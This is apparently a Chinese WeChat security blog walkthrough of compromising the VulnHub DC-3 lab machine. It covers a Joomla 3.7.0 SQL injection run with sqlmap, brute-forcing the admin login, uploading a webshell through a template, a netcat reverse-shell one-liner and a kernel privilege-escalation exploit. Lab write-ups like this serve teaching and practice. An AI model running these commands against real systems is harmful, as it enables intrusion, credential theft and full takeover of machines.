现在只对常读和星标的公众号才展示大图推送,建议大家能把GG安全“设为星标”,否则可能就看不到了啦!
免责声明
本文章仅用于分享信息安全防御技术,请遵守中华人民共和国相关法律法规,禁止进行任何违法犯罪行为。作者不承担因他人滥用本文所导致的任何法律责任。
本公众号及其发布的内容的使用者需自行承担由此产生的任何直接或间接的后果和损失,GG安全公众号和原文章作者不承担任何责任。如果出现任何后果,请使用者自行承担。如果有侵权行为,请告知我们,我们将立即删除并致以道歉。谢谢!
知识先导
GG安全
vulnhub靶场地址:www.vulnhub.com
DC系列简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。
前期准备
1、下载靶场
靶机名称:DC-3(包含1个flag)
下载地址:
https://www.vulnhub.com/entry/dc-32,312/
2、安装靶场
以DC-1为例,将文件解压(一压缩包形式进行下载)。
打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)
导入成功,开启此虚拟机( 当页面出现 DC-2 login 时表示安装成功)。
前提:DC-3和kali在同一网段
已知kali的IP地址(ifconfig)
—— kali IP地址:192.168.108.129/24
已知DC-3所在的网段
—— DC-2 IP地址:192.168.130.132/24
getshell
信息收集
获取DC-3的IP地址
命令:
netdiscover -r 192.168.108.0/24
由图可知DC-3的IP地址是:192.168.108.132/24
端口扫描
命令:
nmap -sV -p- 192.168.108.132 //-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描
获取信息如下:
端口号 |
服务 |
版本 |
80 |
http |
apache 2.4.18 |
3.2 渗透测试
修改kali的host文件(文件所在地址为:/etc/hosts)
补充:
vim /etc/hosts #编辑host文件(添加192.168.108.131 dc-2)
cat /etc/hosts #查看host文件(修改之后进行查看)
这里我们只发现了80端口,打开查看之后发现是一个登陆网页(顺手绑定hosts文件),首先想到的就是继续进行CMS识别、查看是否可以找到后台登陆界面对、账号密码的暴力破解
CMS识别结果:
Joomla版本:3.7.0
自述文件:http://dc-3/README.txt
管理员的URL:http://dc-3/administrator
自述文件(http://dc-3/README.txt):
管理员URL(http://dc-3/administrator/):
其余扫描到的目录URL:
对于后台管理登录页面使用burp抓包先用SQLMAP跑一下
sqlmap一把梭哈失败,还是使用msf查找一下cms的漏洞吧
msf
这里使用2017年的 CVE-2017-8917 漏洞
ok,可以看到这里直接一把梭哈拿到了getshell
老规矩,先转换一个shell的交互方式
命令:
python -c 'import pty;pty.spawn("/bin/bash")'
在这里还以为DC-3和DC-1、DC-2一样是5个flag,傻傻的使用find / -name "%flag%"找flag,结果自然是没有结果,去官网一看,结果题目是只有一个flag,那不用说了,想办法提权吧
峰回路转——再次拿到shell
简单查看之后也没有找到什么突破口,没办法使用suid进行提权(find / -perm -4000 2>/dev/null),既然是msf进来的,那么直接使用msf进行提权吧
这里需要注意一点就是在namp扫描的时候扫描出来了DC-3的系统是ubuntu的,也可以使用 cat /etc/issue 来查看系统版本,最终确定是ubuntu(16.04)
使用msf查看ubuntu 16.04的相关漏洞
这里出了一点问题,靶机应该自动更新了,这个姿势进不去了,重新导入也不行,换个姿势进去吧
直接使用 searchsploit(kali自带的漏洞库)查询 joomla 3.7.0 的相关漏洞
searchsploit joomla 3.7.0 # 查询 searchsploit 漏洞库里的相关漏洞信息
可以看到第一个就是关于SQL注入的漏洞,我们以它作为突破口,所以接着查看详细的信息
详细信息
URL:https://www.exploit-db.com/exploits/42033
路径:/usr/share/exploitdb/exploits/php/webapps/42033.txt
File type:ASCII text
拓展一个知识点(searchsploit 的使用方式)
这里使用 searchsploit -x php/webapps/42033.txt
-p, --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
-x, --examine [EDB-ID] 使用$ PAGER检查(副本)Exp
可以看到根据漏洞描述,直接上sqlmap
将paylod里面的 http://localhost 换成靶机的地址 http://dc-3
命令:
sqlmap -u "http://dc-3/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
# --dbs作用是查找全部的数据库,遇到选项一直按y就行
结果如下:
接下来一直使用这个payload进行后续的判断权限、当前用户、查表、字段、数据读取
--is-db(返回为true,是超户)
--current-db(确认当前数据库名为joomladb)
--current-user(确认当前用户是名为root的用户,超户)
--tables -D "joomladb"(在此数据库下查到了 76 个表名,这个#__users就很可疑,继续探测)
--columns -T "#__users" -D "joomladb"(就很奇怪,在读列名这里又一次出现了问题,想了不少办法,甚至直接 --dump 下载整个数据库也不行)
--dump
实在没办法了,直接burp暴力破解吧
burp暴力破解
设置变量位置、变量参数(弱口令)
变量1(账号) |
变量2(密码) |
爆破结果(admin、snoopy):
直接尝试进行管理后台登录,成功登录
已经成功登录后台管理页面之后,没有什么好方法,只能仔细翻看,最后发现templates下存在模板(随便一个可以上传webshell的就行),而模板里的php文件可编辑
上传webshell
使用蚁剑连接(直接使用/html/webshell.php文件路径不对,根据模块中的信息猜测尝试之后发现文件路径为/templates/beez3/html/webshell.php)
反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.108.129 6868 >/tmp/f
尝试之后发现上面这条命令被执行成功
提权
终于是又一次成功的拿到了shell,接下来就还是最开始的问题,开始进行提权,因为之前已经获取到了DC-3靶机的系统版本信息,这里直接上漏洞库查询即可
searchsploit Ubuntu 16.04
这里发现了不少是和权限提升相关的,查看一下Linux系统的版本,发现是Linux version 4.4.0-21
cat /proc/version
信息结合筛选之后就剩下了这六个可以尝试利用
像之前的sql那个payload一样,使用-x去查看相关漏洞的详细信息查询(可以都去尝试一下,这里就直接使用39772.txt了)
先根据提示下载攻击压缩包
下载好之后直接使用蚁剑上传到 DC-3 靶机里面
然后直接解压提权,在root的家目录下拿到flag
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
./compile.sh # 编译
./doubleput # 提权
猎杀时刻
✦
目前在GG安全公众号中回复关键字"CISP-PTE",即可获得CISP-PTE靶机打包套件。再次声明:本公众号及其发布的内容的使用者需自行承担由此产生的任何直接或间接的后果和损失,GG安全公众号和原文章作者不承担任何责任。
为了方便师傅们的交流学习,根据广大师傅们的建议,我在之后也会考虑创建一个的群聊。预计在内部群内,我们将分享一些脱敏的漏洞报告和渗透测试实战案例,还将会有一些经验丰富的大牛和巨佬分享他们的经验。后续还将提供一些福利,例如送书和小礼物等等。欢迎师傅们到时候加入群聊,一起交流学习,致力打造一个有丰富学习氛围的小圈子。
原文始发于微信公众号(GG安全):DC系列——DC3靶机渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论